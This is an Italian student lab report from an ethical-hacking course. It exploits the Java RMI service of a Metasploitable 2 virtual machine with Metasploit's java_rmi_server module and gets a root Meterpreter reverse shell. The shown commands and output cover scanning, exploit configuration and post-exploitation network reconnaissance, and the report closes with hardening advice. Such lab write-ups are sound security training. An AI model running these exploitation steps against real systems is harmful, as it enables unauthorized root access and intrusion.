

EPICODE — Institute of Technology

Java RMI & Meterpreter

Exploitation Java RMI su Metasploitable 2 tramite Metasploit Framework

Scansione porta 1099, exploitation java_rmi_server, sessione Meterpreter con accesso root, raccolta informazioni di sistema e analisi rete e routing

Studente	Mauro Picca
Data	22 Maggio 2026
Corso	EPICODE — Cybersecurity & Ethical Hacking
Modulo	S7 L5 — Metasploit: Java RMI & Meterpreter
Ambiente	Kali Linux + Metasploitable 2 — Rete interna LABMITM (VirtualBox)

Attività svolta esclusivamente a fini didattici in ambiente di laboratorio controllato

Cybersecurity & Ethical Hacking | EPICODE

Indice

1. Introduzione e Contesto Teorico	3
2. Ambiente di Laboratorio	5
3. Verifica Connettività e Configurazione Rete	5
4. Identificazione del Servizio Vulnerabile	7
5. Metasploit Framework — Avvio e Ricerca Exploit	8
6. Analisi Opzioni e Configurazione Exploit	10
7. Esecuzione Exploit e Sessione Meterpreter	12
8. Post-Exploitation — Raccolta Informazioni	13
9. Post-Exploitation — Rete e Routing	14
10. Conclusioni	17

1. Introduzione e Contesto Teorico

L'obiettivo dell'esercitazione è stato identificare e sfruttare una vulnerabilità presente nel servizio Java RMI (Remote Method Invocation) in ascolto sulla porta TCP 1099 della macchina vulnerabile Metasploitable 2, utilizzando Kali Linux come macchina attaccante e Metasploit Framework come strumento di exploitation.

Prima di descrivere le fasi operative, è fondamentale comprendere i concetti teorici alla base dell'attività svolta.

1.1 Cos'è Metasploit Framework

Metasploit Framework è il framework open-source per il penetration testing più diffuso al mondo, sviluppato su una piattaforma modulare che integra in un unico strumento tutte le fasi di un test di sicurezza offensivo.

L'architettura di **Metasploit** si compone di tre elementi principali:

- Exploit — moduli che sfruttano vulnerabilità specifiche per eseguire codice arbitrario sul sistema target
- Payload — il codice che viene eseguito sul target dopo il successo dell'exploit (es. una shell remota)
- Auxiliary — moduli non distruttivi per scansione, enumerazione e raccolta informazioni

La console interattiva **msfconsole** è l'interfaccia principale che permette di cercare moduli, configurare parametri, eseguire exploit e gestire sessioni attive. Ogni modulo è identificato da un percorso gerarchico che ne descrive il tipo, la piattaforma target e la vulnerabilità sfruttata (es. exploit/multi/misc/java_rmi_server).

1.2 Exploit, Payload e la Differenza tra Bind e Reverse Shell

Un **exploit** è un programma o sequenza di istruzioni che sfrutta una vulnerabilità specifica in un software per alterarne il comportamento previsto — tipicamente per eseguire codice non autorizzato. In Metasploit, ogni exploit è abbinato a un **payload** che definisce cosa fare dopo aver preso controllo dell'esecuzione.

Esistono due tipologie fondamentali di payload in base alla direzione della connessione:

Tipo Payload	Direzione Connessione	Uso Tipico
Reverse Shell	Target → Attaccante	Quando il target è dietro firewall/NAT — il target si connette all'attaccante
Bind Shell	Attaccante → Target	Quando il target è raggiungibile direttamente — l'attaccante si connette al target

In questo laboratorio è stato utilizzato un payload Meterpreter reverse TCP: il target (Metasploitable 2) apre una connessione in uscita verso Kali Linux sulla porta LPORT configurata, aggirando eventuali firewall che bloccherebbero connessioni in ingresso.

1.3 Cos'è Meterpreter

Meterpreter (Meta-Interpreter) è il payload avanzato di Metasploit che, a differenza di una semplice shell bash/cmd, offre un ambiente di post-exploitation completo. Le sue caratteristiche distintive rispetto a una shell tradizionale sono:

- Opera interamente in memoria RAM — non scrive mai file su disco, rendendo difficile il rilevamento da parte di antivirus tradizionali basati su firma
- Comunicazione cifrata — tutto il traffico tra attaccante e target è cifrato tramite TLS, impedendo l'analisi del traffico di rete
- Migrazione di processo — può iniettarsi in altri processi del sistema per nascondersi o ottenere privilegi diversi
- Comandi avanzati integrati — upload/download di file, keylogging, screenshot del desktop, webcam, pivot di rete
- Estensibile — nuove funzionalità possono essere caricate dinamicamente tramite moduli post-exploitation

💡 La differenza fondamentale tra una shell tradizionale e Meterpreter: una shell bash è un canale di testo semplice, Meterpreter è un framework completo che gira in memoria con comunicazione cifrata. Un IDS può rilevare facilmente una shell bash non cifrata; Meterpreter è progettato per essere stealth.

1.4 Cos'è Java RMI e la sua Vulnerabilità

Java RMI (Remote Method Invocation) è un meccanismo Java che permette a un programma di invocare metodi di oggetti che si trovano su una macchina remota, come se fossero oggetti locali. È utilizzato in applicazioni enterprise distribuite per la comunicazione tra componenti.

Il servizio rmijava (Java RMI Registry) ascolta tipicamente sulla porta TCP 1099 e funge da directory service: registra gli oggetti remoti disponibili e risponde alle richieste di lookup dei client.

La vulnerabilità sfruttata in questo laboratorio riguarda implementazioni non sicure di Java RMI in cui il ClassLoader remoto è abilitato senza restrizioni. In queste configurazioni, il server RMI accetta ed esegue classi Java arbitrarie fornite dal client — permettendo a un attaccante di inviare codice malevolo che viene eseguito direttamente sul server con i privilegi del processo Java.

🔍 Questa vulnerabilità non ha un singolo CVE: è una classe di misconfiguration. Qualsiasi implementazione Java RMI che accetti classi da URL remoti senza restrizioni di sicurezza è sfruttabile. Metasploitable 2 espone intenzionalmente questa configurazione insicura a scopo didattico.

2. Ambiente di Laboratorio

L'infrastruttura di laboratorio è stata composta da due macchine virtuali configurate in modalità rete interna LABMITM di VirtualBox, garantendo isolamento completo dall'esterno.

Sistema	Ruolo	Indirizzo IP	OS
Kali Linux	Macchina attaccante	192.168.11.111	Kali Linux (rolling)
Metasploitable 2	Macchina vittima	192.168.11.112	Ubuntu 8.04 — volutamente vulnerabile

💡 Metasploitable 2 è una distribuzione Linux appositamente progettata per il training in sicurezza informatica: contiene decine di vulnerabilità reali configurate intenzionalmente, tra cui vsftpd 2.3.4, Samba 3.0.20, PostgreSQL con credenziali di default e il servizio Java RMI non sicuro.

3. Verifica Connettività e Configurazione Rete

Prima di avviare qualsiasi attività offensiva, un penetration tester verifica sempre che la comunicazione tra macchina attaccante e target sia correttamente stabilita. Questa fase è fondamentale per evitare falsi negativi durante l'exploitation.

Sulla macchina Kali Linux è stato eseguito il comando **ip a** per verificare l'indirizzo IP assegnato all'interfaccia di rete sulla rete LABMITM. Sulla macchina Metasploitable 2 è stato eseguito **ifconfig**. La connettività è stata quindi verificata tramite **ping**:

```

ip a                # verifica IP su Kali Linux
ifconfig            # verifica IP su Metasploitable 2
ping 192.168.11.112 # verifica raggiungibilità del target

```

Il ping verso 192.168.11.112 ha confermato la raggiungibilità del target: i pacchetti ICMP inviati hanno ricevuto risposta, confermando che le due macchine sono correttamente configurate sulla stessa subnet della rete interna LABMITM.

The image shows two Oracle VirtualBox windows. The top window, titled 'Metasploitable 2 (Rete interna LABMITM) [In esecuzione] - Oracle VirtualBox', displays a terminal session where the user 'msfadmin' configures the network interface 'eth0' with IP address 192.168.11.112 and netmask 255.255.255.0. The output shows the interface is up and running. The bottom window, titled 'kali-linux-2026.1-virtualbox-amd64 (Rete interna LABMITM) [In esecuzione] - Oracle VirtualBox', shows a terminal session where the user 'kali' runs 'ip a' to verify the IP configuration of 'eth0' (192.168.11.111) and then runs 'ping 192.168.11.112' to verify connectivity, receiving a response from 192.168.11.112 with a TTL of 64 and a time of 3.21 ms.

```

msfadmin@metasploitable:~$ sudo ifconfig eth0 192.168.11.112 netmask 255.255.255.0 up
[sudo] password for msfadmin:
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:73:1a:be
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe73:1abe/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:8 errors:0 dropped:0 overruns:0 frame:0
          TX packets:157 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:740 (740.0 B)  TX bytes:40483 (39.5 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:420 errors:0 dropped:0 overruns:0 frame:0
          TX packets:420 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:180297 (176.0 KB)  TX bytes:180297 (176.0 KB)

msfadmin@metasploitable:~$ _

kali@kali: ~
Session Actions Edit View Help

(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:8a:35:d2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.111/24 scope global eth0
        valid_lft forever preferred_lft forever

(kali@kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=3.21 ms
  
```

Figura 1 – Configurazione IP di Kali Linux (192.168.11.111) e Metasploitable 2 (192.168.11.112) e verifica ping.

4. Identificazione del Servizio Vulnerabile

La service enumeration è la fase in cui l'attaccante identifica i servizi in esecuzione sulla macchina target e le relative versioni. Queste informazioni sono fondamentali per selezionare il modulo di exploit corretto.

È stata eseguita una scansione **Nmap** mirata sulla porta **TCP 1099**, tipicamente utilizzata dal servizio **Java RMI Registry**:

```
nmap -sV -p 1099 192.168.11.112
```

Analisi dettagliata dei parametri del comando:

Parametro	Significato	Perché è importante
nmap	Network Mapper — tool di port scanning e service enumeration	Strumento standard per la ricognizione di rete
-sV	Service Version Detection — rileva nome e versione del servizio	Indispensabile per selezionare l'exploit corretto
-p 1099	Limita la scansione alla porta TCP 1099	Scansione mirata: più veloce e meno rumorosa
192.168.11.112	Indirizzo IP del target	Macchina Metasploitable 2

La scansione ha restituito il risultato atteso: il servizio java-rmi GNU Classpath grmiregistry è in ascolto sulla porta 1099/TCP, confermando la presenza di un'istanza Java RMI Registry vulnerabile sulla macchina target.

```
(kali@kali)-[~]
$ nmap -sV -p 1099 192.168.11.112
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-22 05:44 -0400
Nmap scan report for 192.168.11.112
Host is up (0.0014s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:73:1A:BE (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 6.45 seconds
```

Figura 2 – Scansione Nmap -sV -p 1099: servizio Java RMI identificato sulla porta 1099/TCP di Metasploitable 2.



5. Metasploit Framework — Avvio e Ricerca Exploit

5.1 Avvio di msfconsole

È stato avviato Metasploit Framework tramite il comando **msfconsole**. La console interattiva carica il database degli exploit, dei payload e dei moduli auxiliary — ad oggi Metasploit conta oltre 2.300 exploit e più di 1.700 payload.

```
msfconsole
```

Al termine del caricamento, msfconsole presenta il prompt msf6> (o **msf>** nella versione usata per l'esercizio), indicando che il framework è pronto a ricevere comandi. Da questo momento è possibile interagire con l'intero ecosistema di moduli del framework.

```

(kali@kali)-[~]
$ msfconsole
Metasploit tip: View missing module options with show missing

      *oDfO:~
      ./ymM0dayMny/.
      -+dHJ5aGFyZGVyIQ==+-
      `:sm@~Destroy.No.Data~s:`
      --h2~Maintain.No.Persistence~h+-
      `:odNo2~Above.All.Else.Do.No.Harm~Ndo:`
      ./etc/shadow.0days-Data'%200R%201=1~.No.0MNB'/.
      --+SecKCoin++e.AMd`
      --./ssh/id_rsa.Des-
      :dopeAW.No<nano>o
      :we're.all.alike`
      :PLACEDRINKHERE!!
      :msf>exploit -j.
      :--srwxrwx--.-.
      :<script>.Ac816/
      :NT_AUTHORITY.Do
      :09.14.2011.raid
      :hevnstSurb025N.
      :#OUTHOUSE- -s:
      :$nmap -oS
      :AwsM.da:
      :Ring0:
      :23d:
      /-
      /yo- .ence.N:()[:!; & ]:-
      `:Shall.We.Play.A.Game?tr0n/
      ---ooy.iflightf0+ehUser5`
      ..th3.H1V3.U2VjRFNN.jMh+.
      `MjM~WE.ARE.se~MnjMs
      +-KANSAS.CITY.s-
      J-HAKCERS-./.`
      .esc:wq!:`
      +--ATH
      +`

      =[ metasploit v6.4.116-dev ]
      + -- --=[ 2,623 exploits - 1,326 auxiliary - 1,710 payloads ]
      + -- --=[ 432 post - 49 encoders - 14 nops - 10 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

```

Figura 3 – Avvio di Metasploit Framework: la console `msfconsole` è pronta con il database dei moduli caricato.

5.2 Ricerca del Modulo Exploit

All'interno di msfconsole è stata effettuata una ricerca per identificare i moduli compatibili con il protocollo Java RMI:

```
search java_rmi
```

Il comando search interroga il database locale di Metasploit utilizzando la parola chiave come filtro su nome, descrizione e riferimenti CVE dei moduli. La ricerca ha restituito il modulo:

```
exploit/multi/misc/java_rmi_server
```

Il percorso del modulo si legge come segue: exploit indica che si tratta di un modulo offensivo, multi indica compatibilità multiplatforma, misc indica che non è specifico per un singolo servizio o applicazione, java_rmi_server è il nome del modulo che descrive il servizio target.

```
msf exploit(multi/misc/java_rmi_server) > search java_rmi
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry	.	normal	No	Java RMI Registry Interface Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	\ target: Generic (Java Payload)	.	.	.	.
3	\ target: Windows x86 (Native Payload)	.	.	.	.
4	\ target: Linux x86 (Native Payload)	.	.	.	.
5	\ target: Mac OS X PPC (Native Payload)	.	.	.	.
6	\ target: Mac OS X x86 (Native Payload)	.	.	.	.
7	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
8	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example `info 8`, `use 8` or `use exploit/multi/browser/java_rmi_connection_impl`

Figura 4 – Ricerca del modulo java_rmi_server: exploit/multi/misc/java_rmi_server identificato nel database.

6. Analisi Opzioni e Configurazione dell'Exploit

6.1 Caricamento del Modulo e Analisi delle Opzioni

Il modulo è stato caricato tramite il comando `use` seguito dal numero risultante dalla ricerca:

```
use 1
```

Una volta caricato il modulo, il prompt cambia in `msf6 exploit(multi/misc/java_rmi_server)>`, indicando il contesto attivo. Sono state quindi visualizzate le opzioni configurabili:

```
show options
```

Il comando `show options` elenca tutti i parametri del modulo, distinguendo tra quelli obbligatori (Required: yes) e facoltativi. La comprensione di questi parametri è fondamentale per configurare correttamente l'exploit:

Parametro	Descrizione	Valore utilizzato
RHOSTS	Remote HOST — IP della macchina target vulnerabile	192.168.11.112
RPORT	Remote PORT — porta del servizio Java RMI vulnerabile	1099 (default)
LHOST	Local HOST — IP della macchina attaccante per la reverse shell	192.168.11.111
LPORT	Local PORT — porta di ascolto per la connessione Meterpreter	4444 (default)

```
msf exploit(multi/misc/java_jmx_server) > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):

  Name  Current Setting  Required  Description
  ----  -
  LHOST  127.0.0.1        yes       The listen address (an interface may be specified)
  LPORT  4444             yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.
```

Figura 5 – Output di show options: parametri RHOSTS, RPORT, LHOST e LPORT del modulo java_rmi_server.

6.2 Configurazione dei Parametri

Sono stati configurati i parametri obbligatori tramite il comando set:

```
set RHOSTS 192.168.11.112
set RPORT 1099
set LHOST 192.168.11.111
```

RHOSTS (Remote Hosts) specifica l'indirizzo IP del target — supporta anche range CIDR o liste di IP per scansioni su più target. **LHOST** (Local Host) è critico per i payload reverse shell: indica al target verso quale indirizzo IP aprire la connessione in uscita. Senza LHOST corretto, il payload si connetterebbe a un indirizzo errato e la sessione non verrebbe mai stabilita. La configurazione è stata verificata con un secondo show options:

```
show options
```

```
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > set RPORT 1099
RPORT => 1099
msf exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.
```

Figura 6 – Configurazione parametri RHOSTS, RPORT, LHOST verificata con show options prima dell'esecuzione.

7. Esecuzione dell'Exploit e Apertura Sessione Meterpreter

Con tutti i parametri correttamente configurati, l'exploit è stato eseguito tramite il comando:

```
run
```

In alternativa è possibile usare il sinonimo exploit — entrambi avviano l'esecuzione del modulo caricato. Cosa accade in background durante l'esecuzione:

- Metasploit invia una richiesta al servizio Java RMI Registry sulla porta 1099 del target
- La richiesta include un riferimento a una classe Java remota ospitata da Metasploit su una porta HTTP temporanea
- Il server Java RMI (se vulnerabile) scarica ed esegue la classe Java remota
- La classe eseguita contiene il payload Meterpreter che apre una connessione reverse TCP verso LHOST:LPORT
- Metasploit riceve la connessione e stabilisce la sessione Meterpreter

Il framework Metasploit ha sfruttato con successo la vulnerabilità, aprendo una sessione Meterpreter remota sulla macchina Metasploitable 2. Il messaggio '**Meterpreter session X opened**' conferma l'apertura della sessione.

```
msf exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/mUu6UVYwJ
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:44477) at 2026-05-22 06:21:34 -0400

meterpreter > █
```

Figura 7 – Esecuzione dell'exploit java_rmi_server: sessione Meterpreter aperta con successo su Metasploitable 2.

- ☒ La sessione Meterpreter è attiva. Da questo momento il penetration tester ha pieno controllo sulla macchina target con tutte le funzionalità avanzate di Meterpreter.

8. Post-Exploitation — Raccolta Informazioni di Sistema

La fase di post-exploitation inizia dopo l'ottenimento della sessione remota. In un penetration test reale, questa fase serve a raccogliere evidenze della compromissione, valutare il livello di accesso ottenuto e pianificare i passi successivi (privilege escalation, lateral movement, persistence).

I primi due comandi eseguiti nella sessione Meterpreter sono stati sysinfo e getuid:

```
sysinfo
getuid
```

Il comando **sysinfo** interroga il sistema operativo del target e restituisce:

- Computer — hostname della macchina compromessa
- OS — sistema operativo e versione (es. Linux 2.6.24 Ubuntu)
- Architecture — architettura del processore (x86/x64)
- Meterpreter — tipo di Meterpreter attivo (java/linux)

Il comando **getuid** (Get User ID) restituisce l'identità dell'utente con cui il processo Meterpreter è in esecuzione sul sistema target. L'output ha mostrato uid=0(root) — confermando accesso root completo al sistema. Questo è possibile perché il processo Java RMI su Metasploitable 2 viene eseguito con privilegi di root, e il payload eredita i privilegi del processo che lo ha eseguito.

```
meterpreter > sysinfo
Computer      : metasploitable
OS           : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > getuid
Server username: root
```

Figura 8 – Output di sysinfo (OS, hostname, architettura) e getuid (uid=0 root) nella sessione Meterpreter.

🔍 L'ottenimento di accesso root attraverso l'exploit Java RMI non richiede privilege escalation separata: il servizio Java RMI di Metasploitable 2 viene eseguito direttamente come root. In sistemi reali il principio del minimo privilegio prevede che i servizi di rete vengano eseguiti con utenti dedicati non privilegiati — proprio per limitare i danni in caso di exploitation.

9. Post-Exploitation — Analisi Rete e Routing

Per raccogliere informazioni dettagliate sulla configurazione di rete del sistema compromesso è stata aperta una shell Linux interattiva all'interno della sessione Meterpreter:

```
shell
```

Il comando shell avvia un'istanza della shell di sistema (/bin/bash) all'interno del canale Meterpreter. Da questo momento i comandi vengono eseguiti direttamente nell'ambiente Linux del target, con la stessa cifratura e canale di comunicazione di Meterpreter.

Sono stati eseguiti i seguenti comandi diagnostici di rete:

```
whoami          # verifica l'utente corrente
uname -a        # kernel e informazioni OS dettagliate
ifconfig        # configurazione interfacce di rete
ip a            # indirizzi IP per interfaccia (formato moderno)
route -n        # tabella di routing in formato numerico
netstat -rn     # route attive in formato numerico
```

Analisi dei risultati ottenuti:

Comando	Informazione Raccolta	Rilevanza per il Pentester
whoami	Utente corrente: root	Conferma accesso privilegiato — nessuna privilege escalation necessaria
uname -a	Kernel Linux 2.6.24, Ubuntu, i686	Utile per identificare exploit kernel locali disponibili
ifconfig/ip a	Interfacce di rete e IP assegnati	Identificazione di altre subnet raggiungibili (lateral movement)
route -n	Tabella di routing del sistema	Scoprire reti interne non direttamente raggiungibili dall'attaccante
netstat -rn	Route di rete attive in formato numerico	Verifica configurazione routing per pivot di rete

Le informazioni di routing sono particolarmente importanti in un penetration test avanzato: conoscere le rotte del sistema compromesso permette di identificare reti interne non accessibili direttamente dall'attaccante e di utilizzare il sistema compromesso come pivot per raggiungere altri segmenti di rete.

```
meterpreter > shell
Process 1 created.
Channel 1 created.
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:73:1a:be
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe73:1abe/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:177 errors:0 dropped:0 overruns:0 frame:0
          TX packets:364 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:134854 (131.6 KB)  TX bytes:80081 (78.2 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:631 errors:0 dropped:0 overruns:0 frame:0
          TX packets:631 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:283509 (276.8 KB)  TX bytes:283509 (276.8 KB)

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:73:1a:be brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0
    inet6 fe80::a00:27ff:fe73:1abe/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop qlen 1000
    link/ether 08:00:27:5e:a6:a0 brd ff:ff:ff:ff:ff:ff

route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.11.0    0.0.0.0        255.255.255.0   U        0      0      0 eth0

netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags  MSS Window  irtt Iface
192.168.11.0    0.0.0.0        255.255.255.0   U            0      0      0 eth0
```

Figura 9 – Output di whoami, uname -a, ifconfig, ip a, route -n e netstat -rn nella shell Linux del target.

10. Conclusioni

Il laboratorio ha dimostrato come un servizio Java RMI configurato senza restrizioni di sicurezza consenta l'esecuzione remota di codice arbitrario con i privilegi del processo server — in questo caso root. La catena di attacco è stata lineare e non ha richiesto privilege escalation separata.

Fase	Tecnica / Strumento	Risultato
Verifica rete	ping + ip a + ifconfig	☑ Connettività confermata
Service enumeration	nmap -sV -p 1099	☑ Java RMI Registry identificato su porta 1099
Ricerca exploit	msfconsole + search java_rmi	☑ Modulo java_rmi_server individuato
Configurazione exploit	set RHOSTS / RPORT / LHOST	☑ Parametri configurati e verificati
Exploitation	run (exploit java_rmi_server)	☑ Sessione Meterpreter aperta con accesso root
Post-expl. sistema	sysinfo + getuid	☑ Root confermato — OS Ubuntu Linux 2.6.24
Post-expl. rete	shell + ifconfig + route -n	☑ Configurazione rete e routing raccolti

In un ambiente aziendale reale, un servizio Java RMI esposto senza restrizioni di sicurezza rappresenterebbe un vettore di attacco critico: un attaccante con accesso alla rete potrebbe ottenere root su tutti i server che eseguono il servizio, esfiltrare database e credenziali, installare backdoor persistenti, muoversi lateralmente verso altri sistemi usando il server compromesso come pivot e tutto questo senza lasciare tracce su disco grazie a Meterpreter.

Lesson Learned

- Il ClassLoader remoto di Java RMI deve essere sempre disabilitato in produzione. La proprietà di sistema `java.rmi.server.useCodebaseOnly=true`, introdotta come default da Java 7u21, impedisce il caricamento di classi da URL remoti. Su sistemi più vecchi va configurata esplicitamente.
- Nessun servizio di rete dovrebbe essere eseguito con privilegi root. Il principio del minimo privilegio impone che ogni servizio operi con un utente dedicato con i soli permessi necessari. Se il processo Java RMI avesse girato come utente 'jrmi' senza privilegi, l'exploit avrebbe fornito solo accesso non privilegiato, rendendo necessaria una privilege escalation separata.
- La surface attack reduction è la contromisura più efficace: Java RMI è un protocollo legacy raramente necessario in ambienti moderni. Se non è indispensabile, la porta 1099 dovrebbe essere bloccata a livello di firewall perimetrale e sui host firewall locali. Ciò che non è esposto non può essere sfruttato.

- ☑ Tutti gli obiettivi del laboratorio sono stati raggiunti con successo. La relazione dimostra l'esecuzione completa del ciclo di un penetration test: dalla ricognizione all'exploitation, fino alla raccolta delle evidenze di post-exploitation. L'attività è stata svolta esclusivamente in ambiente virtuale autorizzato a scopo didattico.